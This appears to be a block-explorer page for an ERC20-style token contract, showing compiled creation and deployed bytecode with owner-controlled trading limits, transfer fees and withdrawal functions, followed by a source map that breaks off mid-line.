f19168215151790555050565b5050565b6107586112fd565b6107626000611357565b565b61076c6112fd565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b0316146107a357600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107cf573d6000803e3d6000fd5b50565b6060600480546105b09061177f565b600033816107ef828661086a565b90508381101561084f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161071b565b6106668286868403610b77565b600033610641818585610d15565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61089d6112fd565b6010805460ff19166001179055565b6007546001600160a01b0316336001600160a01b03161461090f5760405162461bcd60e51b815260206004820152601e60248201527f4f6e6c79206465706c6f7965722063616e20636c65617220746f6b656e730000604482015260640161071b565b6040516370a0823160e01b815230600482015282906000906001600160a01b038316906370a0823190602401602060405180830381865afa158015610958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097c91906117e2565b9050600060648460095461099091906117fb565b61099a9190611812565b90508082116109eb5760405162461bcd60e51b815260206004820152601960248201527f4e6f2065786365737320746f6b656e7320746f20636c65617200000000000000604482015260640161071b565b60006109f78284611834565b90508015610a785760075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529085169063a9059cbb906044016020604051808303816000875af1158015610a52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a769190611847565b505b84600003610af95760075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018590529085169063a9059cbb906044016020604051808303816000875af1158015610ad3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af79190611847565b505b505050505050565b610b096112fd565b6001600160a01b038116610b6e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071b565b6107cf81611357565b6001600160a01b038316610bd95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071b565b6001600160a01b038216610c3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610ca7848461086a565b90506000198114610d0f5781811015610d025760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161071b565b610d0f8484848403610b77565b50505050565b6001600160a01b038316610d3b5760405162461bcd60e51b815260040161071b90611864565b6001600160a01b038216610d615760405162461bcd60e51b815260040161071b906118a9565b80600003610d7a57610d75838360006113a9565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610dbc57506001600160a01b03831660009081526015602052604090205460ff16155b9050610dd06005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610dff57506005546001600160a01b03848116911614155b8015610e1357506001600160a01b03831615155b8015610e2a57506001600160a01b03831661dead14155b8015610e405750600854600160a01b900460ff16155b156111255760105460ff16610ed3576001600160a01b03841660009081526013602052604090205460ff1680610e8e57506001600160a01b03831660009081526013602052604090205460ff165b610ed35760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161071b565b6001600160a01b03841660009081526015602052604090205460ff168015610f1457506001600160a01b03831660009081526014602052604090205460ff16155b15610fee57600d54821115610f7f5760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a393729b4bd329760a91b606482015260840161071b565b600e546001600160a01b038416600090815260208190526040902054610fa590846117cf565b1115610fe95760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161071b565b611125565b6001600160a01b03831660009081526015602052604090205460ff16801561102f57506001600160a01b03841660009081526014602052604090205460ff16155b1561109b57600d54821115610fe95760405162461bcd60e51b815260206004820152602c60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526b1036b0bc2a393729b4bd329760a11b606482015260840161071b565b6001600160a01b03831660009081526014602052604090205460ff1661112557600e546001600160a01b0384166000908152602081905260409020546110e190846117cf565b11156111255760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161071b565b30600090815260208190526040902054811580801561114e5750600854600160a01b900460ff16155b801561117357506001600160a01b03861660009081526015602052604090205460ff16155b801561119857506001600160a01b03861660009081526013602052604090205460ff16155b80156111bd57506001600160a01b03851660009081526013602052604090205460ff16155b156111f5576008805460ff60a01b1916600160a01b1790556111de846114d3565b6111e7476115c2565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015611210575083155b6001600160a01b03881660009081526013602052604090205490915060ff168061125257506001600160a01b03861660009081526013602052604090205460ff165b1561125b575060005b600081156112e8576001600160a01b03871660009081526015602052604090205460ff16156112ab576112a4606461129e601254896115fc90919063ffffffff16565b9061160f565b90506112c8565b6112c5606461129e601154896115fc90919063ffffffff16565b90505b80156112db576112db8861dead836113a9565b6112e58187611834565b95505b6112f38888886113a9565b5050505050505050565b6005546001600160a01b031633146107625760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071b565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166113cf5760405162461bcd60e51b815260040161071b90611864565b6001600160a01b0382166113f55760405162461bcd60e51b815260040161071b906118a9565b6001600160a01b0383166000908152602081905260409020548181101561146d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161071b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610d0f565b30600090815260208190526040812054908181036114f057505050565b60125460115461150091906117cf565b600003611560576000821180156115185750600f5482105b1561152257505050565b600061153e606461129e601254876115fc90919063ffffffff16565b905061154a8185611834565b9350600f54841115610d0f57600f549150610d0f565b60008211801561157c5750600f5461157990600561160f565b82105b1561158657505050565b6000821180156115a25750600f5461159f90600561160f565b82115b80156115af5750600f5482105b1561152257600f54610d0f90600561160f565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561074c573d6000803e3d6000fd5b600061160882846117fb565b9392505050565b60006116088284611812565b60006020808352835180602085015260005b818110156116495785810183015185820160400152820161162d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461168157600080fd5b919050565b6000806040838503121561169957600080fd5b6116a28361166a565b946020939093013593505050565b6000806000606084860312156116c557600080fd5b6116ce8461166a565b92506116dc6020850161166a565b9150604084013590509250925092565b80151581146107cf57600080fd5b6000806040838503121561170d57600080fd5b6117168361166a565b91506020830135611726816116ec565b809150509250929050565b60006020828403121561174357600080fd5b6116088261166a565b6000806040838503121561175f57600080fd5b6117688361166a565b91506117766020840161166a565b90509250929050565b600181811c9082168061179357607f821691505b6020821081036117b357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610647576106476117b9565b6000602082840312156117f457600080fd5b5051919050565b8082028115828204841417610647576106476117b9565b60008261182f57634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610647576106476117b9565b60006020828403121561185957600080fd5b8151611608816116ec565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b60608201526080019056fea264697066735822122082e436b9690c55ebc7408295543b25918dce6a3c26ca3ecdabe8becb8f7948af64736f6c63430008180033

Deployed Bytecode

0x6080604052600436106101db5760003560e01c8063751039fc11610102578063a9059cbb11610095578063e2f4560511610064578063e2f4560514610536578063ed85eb561461054c578063f2a95aa914610561578063f2fde38b1461058157600080fd5b8063a9059cbb146104c6578063b93b639c146104e6578063dd62ed3e146104fc578063dfcde7641461051c57600080fd5b80638da5cb5b116100d15780638da5cb5b1461045d5780638f3fa8601461047b57806395d89b4114610491578063a457c2d7146104a657600080fd5b8063751039fc1461040757806383fd03671461041c57806389291a8f146104325780638a50e0e21461044757600080fd5b8063313ce5671161017a578063583e056811610149578063583e05681461035a578063629b05f0146103a657806370a08231146103bc578063715018a6146103f257600080fd5b8063313ce567146102c357806339509351146102df57806347bdc57e146102ff5780634fbee1931461032157600080fd5b80630a910d1f116101b65780630a910d1f1461026257806317b0b80b1461027857806318160ddd1461028e57806323b872dd146102a357600080fd5b8062604617146101e757806306fdde0314610210578063095ea7b31461023257600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b506101fd600c5481565b6040519081526020015b60405180910390f35b34801561021c57600080fd5b506102256105a1565b604051610207919061161b565b34801561023e57600080fd5b5061025261024d366004611686565b610633565b6040519015158152602001610207565b34801561026e57600080fd5b506101fd60115481565b34801561028457600080fd5b506101fd600a5481565b34801561029a57600080fd5b506002546101fd565b3480156102af57600080fd5b506102526102be3660046116b0565b61064d565b3480156102cf57600080fd5b5060405160098152602001610207565b3480156102eb57600080fd5b506102526102fa366004611686565b610671565b34801561030b57600080fd5b5061031f61031a3660046116fa565b610693565b005b34801561032d57600080fd5b5061025261033c366004611731565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561036657600080fd5b5061038e7f000000000000000000000000eaaa41cb2a64b11fe761d41e747c032cdd60cace81565b6040516001600160a01b039091168152602001610207565b3480156103b257600080fd5b506101fd60095481565b3480156103c857600080fd5b506101fd6103d7366004611731565b6001600160a01b031660009081526020819052604090205490565b3480156103fe57600080fd5b5061031f610750565b34801561041357600080fd5b5061031f610764565b34801561042857600080fd5b506101fd60125481565b34801561043e57600080fd5b5061031f610783565b34801561045357600080fd5b506101fd600d5481565b34801561046957600080fd5b506005546001600160a01b031661038e565b34801561048757600080fd5b506101fd600e5481565b34801561049d57600080fd5b506102256107d2565b3480156104b257600080fd5b506102526104c1366004611686565b6107e1565b3480156104d257600080fd5b506102526104e1366004611686565b61085c565b3480156104f257600080fd5b506101fd600b5481565b34801561050857600080fd5b506101fd61051736600461174c565b61086a565b34801561052857600080fd5b506010546102529060ff1681565b34801561054257600080fd5b506101fd600f5481565b34801561055857600080fd5b5061031f610895565b34801561056d57600080fd5b5061031f61057c366004611686565b6108ac565b34801561058d57600080fd5b5061031f61059c366004611731565b610b01565b6060600380546105b09061177f565b80601f01602080910402602001604051908101604052809291908181526020018280546105dc9061177f565b80156106295780601f106105fe57610100808354040283529160200191610629565b820191906000526020600020905b81548152906001019060200180831161060c57829003601f168201915b5050505050905090565b600033610641818585610b77565b60019150505b92915050565b60003361065b858285610c9b565b610666858585610d15565b506001949350505050565b600033610641818585610684838361086a565b61068e91906117cf565b610b77565b61069b6112fd565b6006546001600160a01b03908116908316036107245760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b6001600160a01b0382166000908152601560205260409020805460ff19168215151790555050565b5050565b6107586112fd565b6107626000611357565b565b61076c6112fd565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b0316146107a357600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107cf573d6000803e3d6000fd5b50565b6060600480546105b09061177f565b600033816107ef828661086a565b90508381101561084f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161071b565b6106668286868403610b77565b600033610641818585610d15565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61089d6112fd565b6010805460ff19166001179055565b6007546001600160a01b0316336001600160a01b03161461090f5760405162461bcd60e51b815260206004820152601e60248201527f4f6e6c79206465706c6f7965722063616e20636c65617220746f6b656e730000604482015260640161071b565b6040516370a0823160e01b815230600482015282906000906001600160a01b038316906370a0823190602401602060405180830381865afa158015610958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097c91906117e2565b9050600060648460095461099091906117fb565b61099a9190611812565b90508082116109eb5760405162461bcd60e51b815260206004820152601960248201527f4e6f2065786365737320746f6b656e7320746f20636c65617200000000000000604482015260640161071b565b60006109f78284611834565b90508015610a785760075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529085169063a9059cbb906044016020604051808303816000875af1158015610a52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a769190611847565b505b84600003610af95760075460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018590529085169063a9059cbb906044016020604051808303816000875af1158015610ad3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af79190611847565b505b505050505050565b610b096112fd565b6001600160a01b038116610b6e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071b565b6107cf81611357565b6001600160a01b038316610bd95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161071b565b6001600160a01b038216610c3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161071b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610ca7848461086a565b90506000198114610d0f5781811015610d025760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161071b565b610d0f8484848403610b77565b50505050565b6001600160a01b038316610d3b5760405162461bcd60e51b815260040161071b90611864565b6001600160a01b038216610d615760405162461bcd60e51b815260040161071b906118a9565b80600003610d7a57610d75838360006113a9565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610dbc57506001600160a01b03831660009081526015602052604090205460ff16155b9050610dd06005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610dff57506005546001600160a01b03848116911614155b8015610e1357506001600160a01b03831615155b8015610e2a57506001600160a01b03831661dead14155b8015610e405750600854600160a01b900460ff16155b156111255760105460ff16610ed3576001600160a01b03841660009081526013602052604090205460ff1680610e8e57506001600160a01b03831660009081526013602052604090205460ff165b610ed35760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161071b565b6001600160a01b03841660009081526015602052604090205460ff168015610f1457506001600160a01b03831660009081526014602052604090205460ff16155b15610fee57600d54821115610f7f5760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a393729b4bd329760a91b606482015260840161071b565b600e546001600160a01b038416600090815260208190526040902054610fa590846117cf565b1115610fe95760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161071b565b611125565b6001600160a01b03831660009081526015602052604090205460ff16801561102f57506001600160a01b03841660009081526014602052604090205460ff16155b1561109b57600d54821115610fe95760405162461bcd60e51b815260206004820152602c60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526b1036b0bc2a393729b4bd329760a11b606482015260840161071b565b6001600160a01b03831660009081526014602052604090205460ff1661112557600e546001600160a01b0384166000908152602081905260409020546110e190846117cf565b11156111255760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161071b565b30600090815260208190526040902054811580801561114e5750600854600160a01b900460ff16155b801561117357506001600160a01b03861660009081526015602052604090205460ff16155b801561119857506001600160a01b03861660009081526013602052604090205460ff16155b80156111bd57506001600160a01b03851660009081526013602052604090205460ff16155b156111f5576008805460ff60a01b1916600160a01b1790556111de846114d3565b6111e7476115c2565b6008805460ff60a01b191690555b600854600090600160a01b900460ff16158015611210575083155b6001600160a01b03881660009081526013602052604090205490915060ff168061125257506001600160a01b03861660009081526013602052604090205460ff165b1561125b575060005b600081156112e8576001600160a01b03871660009081526015602052604090205460ff16156112ab576112a4606461129e601254896115fc90919063ffffffff16565b9061160f565b90506112c8565b6112c5606461129e601154896115fc90919063ffffffff16565b90505b80156112db576112db8861dead836113a9565b6112e58187611834565b95505b6112f38888886113a9565b5050505050505050565b6005546001600160a01b031633146107625760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071b565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166113cf5760405162461bcd60e51b815260040161071b90611864565b6001600160a01b0382166113f55760405162461bcd60e51b815260040161071b906118a9565b6001600160a01b0383166000908152602081905260409020548181101561146d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161071b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610d0f565b30600090815260208190526040812054908181036114f057505050565b60125460115461150091906117cf565b600003611560576000821180156115185750600f5482105b1561152257505050565b600061153e606461129e601254876115fc90919063ffffffff16565b905061154a8185611834565b9350600f54841115610d0f57600f549150610d0f565b60008211801561157c5750600f5461157990600561160f565b82105b1561158657505050565b6000821180156115a25750600f5461159f90600561160f565b82115b80156115af5750600f5482105b1561152257600f54610d0f90600561160f565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561074c573d6000803e3d6000fd5b600061160882846117fb565b9392505050565b60006116088284611812565b60006020808352835180602085015260005b818110156116495785810183015185820160400152820161162d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461168157600080fd5b919050565b6000806040838503121561169957600080fd5b6116a28361166a565b946020939093013593505050565b6000806000606084860312156116c557600080fd5b6116ce8461166a565b92506116dc6020850161166a565b9150604084013590509250925092565b80151581146107cf57600080fd5b6000806040838503121561170d57600080fd5b6117168361166a565b91506020830135611726816116ec565b809150509250929050565b60006020828403121561174357600080fd5b6116088261166a565b6000806040838503121561175f57600080fd5b6117688361166a565b91506117766020840161166a565b90509250929050565b600181811c9082168061179357607f821691505b6020821081036117b357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610647576106476117b9565b6000602082840312156117f457600080fd5b5051919050565b8082028115828204841417610647576106476117b9565b60008261182f57634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610647576106476117b9565b60006020828403121561185957600080fd5b8151611608816116ec565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b60608201526080019056fea264697066735822122082e436b9690c55ebc7408295543b25918dce6a3c26ca3ecdabe8becb8f7948af64736f6c63430008180033

Deployed Bytecode Sourcemap

14586:8815:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15119:38;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;15119:38:0;;;;;;;;9232:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;10163:201::-;;;;;;;;;;-1:-1:-1;10163:201:0;;;;;:::i;:::-;;:::i;:::-;;;1351:14:1;;1344:22;1326:41;;1314:2;1299:18;10163:201:0;1186:187:1;15314:26:0;;;;;;;;;;;;;;;;15027:37;;;;;;;;;;;;;;;;9552:108;;;;;;;;;;-1:-1:-1;9640:12:0;;9552:108;;10372:295;;;;;;;;;;-1:-1:-1;10372:295:0;;;;;:::i;:::-;;:::i;9452:92::-;;;;;;;;;;-1:-1:-1;9452:92:0;;9535:1;1853:36:1;;1841:2;1826:18;9452:92:0;1711:184:1;10675:238:0;;;;;;;;;;-1:-1:-1;10675:238:0;;;;;:::i;:::-;;:::i;17371:226::-;;;;;;;;;;-1:-1:-1;17371:226:0;;;;;:::i;:::-;;:::i;:::-;;17743:126;;;;;;;;;;-1:-1:-1;17743:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;17833:28:0;17809:4;17833:28;;;:19;:28;;;;;;;;;17743:126;14667:52;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2723:32:1;;;2705:51;;2693:2;2678:18;14667:52:0;2534:228:1;14971:47:0;;;;;;;;;;;;;;;;9668:127;;;;;;;;;;-1:-1:-1;9668:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9769:18:0;9742:7;9769:18;;;;;;;;;;;;9668:127;8307:103;;;;;;;;;;;;;:::i;20830:169::-;;;;;;;;;;;;;:::i;15347:27::-;;;;;;;;;;;;;;;;21007:153;;;;;;;;;;;;;:::i;15166:25::-;;;;;;;;;;;;;;;;8072:87;;;;;;;;;;-1:-1:-1;8145:6:0;;-1:-1:-1;;;;;8145:6:0;8072:87;;15198:28;;;;;;;;;;;;;;;;9340:104;;;;;;;;;;;;;:::i;10921:436::-;;;;;;;;;;-1:-1:-1;10921:436:0;;;;;:::i;:::-;;:::i;9803:193::-;;;;;;;;;;-1:-1:-1;9803:193:0;;;;;:::i;:::-;;:::i;15071:41::-;;;;;;;;;;;;;;;;10004:151;;;;;;;;;;-1:-1:-1;10004:151:0;;;;;:::i;:::-;;:::i;15275:30::-;;;;;;;;;;-1:-1:-1;15275:30:0;;;;;;;;15233:33;;;;;;;;;;;;;;;;16959:75;;;;;;;;;;;;;:::i;21168:712::-;;;;;;;;;;-1:-1:-1;21168:712:0;;;;;:::i;:::-;;:::i;8418:201::-;;;;;;;;;;-1:-1:-1;8418:201:0;;;;;:::i;:::-;;:::i;9232:100::-;9286:13;9319:5;9312:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9232:100;:::o;10163:201::-;10246:4;623:10;10302:32;623:10;10318:7;10327:6;10302:8;:32::i;:::-;10352:4;10345:11;;;10163:201;;;;;:::o;10372:295::-;10503:4;623:10;10561:38;10577:4;623:10;10592:6;10561:15;:38::i;:::-;10610:27;10620:4;10626:2;10630:6;10610:9;:27::i;:::-;-1:-1:-1;10655:4:0;;10372:295;-1:-1:-1;;;;10372:295:0:o;10675:238::-;10763:4;623:10;10819:64;623:10;10835:7;10872:10;10844:25;623:10;10835:7;10844:9;:25::i;:::-;:38;;;;:::i;:::-;10819:8;:64::i;17371:226::-;8031:13;:11;:13::i;:::-;17462::::1;::::0;-1:-1:-1;;;;;17462:13:0;;::::1;17454:21:::0;;::::1;::::0;17446:91:::1;;;::::0;-1:-1:-1;;;17446:91:0;;4089:2:1;17446:91:0::1;::::0;::::1;4071:21:1::0;4128:2;4108:18;;;4101:30;4167:34;4147:18;;;4140:62;4238:27;4218:18;;;4211:55;4283:19;;17446:91:0::1;;;;;;;;;-1:-1:-1::0;;;;;17688:31:0;;;;;;:25;:31;;;;;:39;;-1:-1:-1;;17688:39:0;;;;;;;17371:226;;:::o;17548:41::-:1;17371:226:::0;;:::o;8307:103::-;8031:13;:11;:13::i;:::-;8372:30:::1;8399:1;8372:18;:30::i;:::-;8307:103::o:0;20830:169::-;8031:13;:11;:13::i;:::-;20897:12:::1;::::0;20884:10:::1;:25:::0;;;20920:13:::1;:28:::0;-1:-1:-1;20959:6:0::1;:10:::0;;;20980:7:::1;:11:::0;20830:169::o;21007:153::-;21076:13;;-1:-1:-1;;;;;21076:13:0;623:10;-1:-1:-1;;;;;21060:29:0;;21052:38;;;;;;21101:51;;21109:10;;21130:21;21101:51;;;;;;;;;21130:21;21109:10;21101:51;;;;;;;;;;;;;;;;;;;;;21007:153::o;9340:104::-;9396:13;9429:7;9422:14;;;;;:::i;10921:436::-;11014:4;623:10;11014:4;11097:25;623:10;11114:7;11097:9;:25::i;:::-;11070:52;;11161:15;11141:16;:35;;11133:85;;;;-1:-1:-1;;;11133:85:0;;4515:2:1;11133:85:0;;;4497:21:1;4554:2;4534:18;;;4527:30;4593:34;4573:18;;;4566:62;-1:-1:-1;;;4644:18:1;;;4637:35;4689:19;;11133:85:0;4313:401:1;11133:85:0;11254:60;11263:5;11270:7;11298:15;11279:16;:34;11254:8;:60::i;9803:193::-;9882:4;623:10;9938:28;623:10;9955:2;9959:6;9938:9;:28::i;10004:151::-;-1:-1:-1;;;;;10120:18:0;;;10093:7;10120:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10004:151::o;16959:75::-;8031:13;:11;:13::i;:::-;17009:10:::1;:17:::0;;-1:-1:-1;;17009:17:0::1;17022:4;17009:17;::::0;;16959:75::o;21168:712::-;21276:13;;-1:-1:-1;;;;;21276:13:0;623:10;-1:-1:-1;;;;;21260:29:0;;21252:72;;;;-1:-1:-1;;;21252:72:0;;4921:2:1;21252:72:0;;;4903:21:1;4960:2;4940:18;;;4933:30;4999:32;4979:18;;;4972:60;5049:18;;21252:72:0;4719:354:1;21252:72:0;21412:38;;-1:-1:-1;;;21412:38:0;;21444:4;21412:38;;;2705:51:1;21365:12:0;;21335:20;;-1:-1:-1;;;;;21412:23:0;;;;;2678:18:1;;21412:38:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21389:61;;21461:20;21510:3;21500:6;21485:12;;:21;;;;:::i;:::-;21484:29;;;;:::i;:::-;21461:52;;21547:12;21532;:27;21524:65;;;;-1:-1:-1;;;21524:65:0;;5864:2:1;21524:65:0;;;5846:21:1;5903:2;5883:18;;;5876:30;5942:27;5922:18;;;5915:55;5987:18;;21524:65:0;5662:349:1;21524:65:0;21600:21;21624:27;21639:12;21624;:27;:::i;:::-;21600:51;-1:-1:-1;21668:17:0;;21664:102;;21725:13;;21702:52;;-1:-1:-1;;;21702:52:0;;-1:-1:-1;;;;;21725:13:0;;;21702:52;;;6323:51:1;6390:18;;;6383:34;;;21702:22:0;;;;;;6296:18:1;;21702:52:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;21664:102;21782:6;21792:1;21782:11;21778:95;;21833:13;;21810:51;;-1:-1:-1;;;21810:51:0;;-1:-1:-1;;;;;21833:13:0;;;21810:51;;;6323::1;6390:18;;;6383:34;;;21810:22:0;;;;;;6296:18:1;;21810:51:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;21778:95;21241:639;;;;21168:712;;:::o;8418:201::-;8031:13;:11;:13::i;:::-;-1:-1:-1;;;;;8507:22:0;::::1;8499:73;;;::::0;-1:-1:-1;;;8499:73:0;;6880:2:1;8499:73:0::1;::::0;::::1;6862:21:1::0;6919:2;6899:18;;;6892:30;6958:34;6938:18;;;6931:62;-1:-1:-1;;;7009:18:1;;;7002:36;7055:19;;8499:73:0::1;6678:402:1::0;8499:73:0::1;8583:28;8602:8;8583:18;:28::i;13473:380::-:0;-1:-1:-1;;;;;13609:19:0;;13601:68;;;;-1:-1:-1;;;13601:68:0;;7287:2:1;13601:68:0;;;7269:21:1;7326:2;7306:18;;;7299:30;7365:34;7345:18;;;7338:62;-1:-1:-1;;;7416:18:1;;;7409:34;7460:19;;13601:68:0;7085:400:1;13601:68:0;-1:-1:-1;;;;;13688:21:0;;13680:68;;;;-1:-1:-1;;;13680:68:0;;7692:2:1;13680:68:0;;;7674:21:1;7731:2;7711:18;;;7704:30;7770:34;7750:18;;;7743:62;-1:-1:-1;;;7821:18:1;;;7814:32;7863:19;;13680:68:0;7490:398:1;13680:68:0;-1:-1:-1;;;;;13761:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13813:32;;160:25:1;;;13813:32:0;;133:18:1;13813:32:0;;;;;;;13473:380;;;:::o;13861:453::-;13996:24;14023:25;14033:5;14040:7;14023:9;:25::i;:::-;13996:52;;-1:-1:-1;;14063:16:0;:37;14059:248;;14145:6;14125:16;:26;;14117:68;;;;-1:-1:-1;;;14117:68:0;;8095:2:1;14117:68:0;;;8077:21:1;8134:2;8114:18;;;8107:30;8173:31;8153:18;;;8146:59;8222:18;;14117:68:0;7893:353:1;14117:68:0;14229:51;14238:5;14245:7;14273:6;14254:16;:25;14229:8;:51::i;:::-;13985:329;13861:453;;;:::o;17877:2458::-;-1:-1:-1;;;;;17977:18:0;;17969:68;;;;-1:-1:-1;;;17969:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18056:16:0;;18048:64;;;;-1:-1:-1;;;18048:64:0;;;;;;;:::i;:::-;18129:6;18139:1;18129:11;18125:93;;18157:28;18173:4;18179:2;18183:1;18157:15;:28::i;:::-;17877:2458;;;:::o;18125:93::-;-1:-1:-1;;;;;18255:31:0;;18236:15;18255:31;;;:25;:31;;;;;;;;18254:32;:66;;;;-1:-1:-1;;;;;;18291:29:0;;;;;;:25;:29;;;;;;;;18290:30;18254:66;18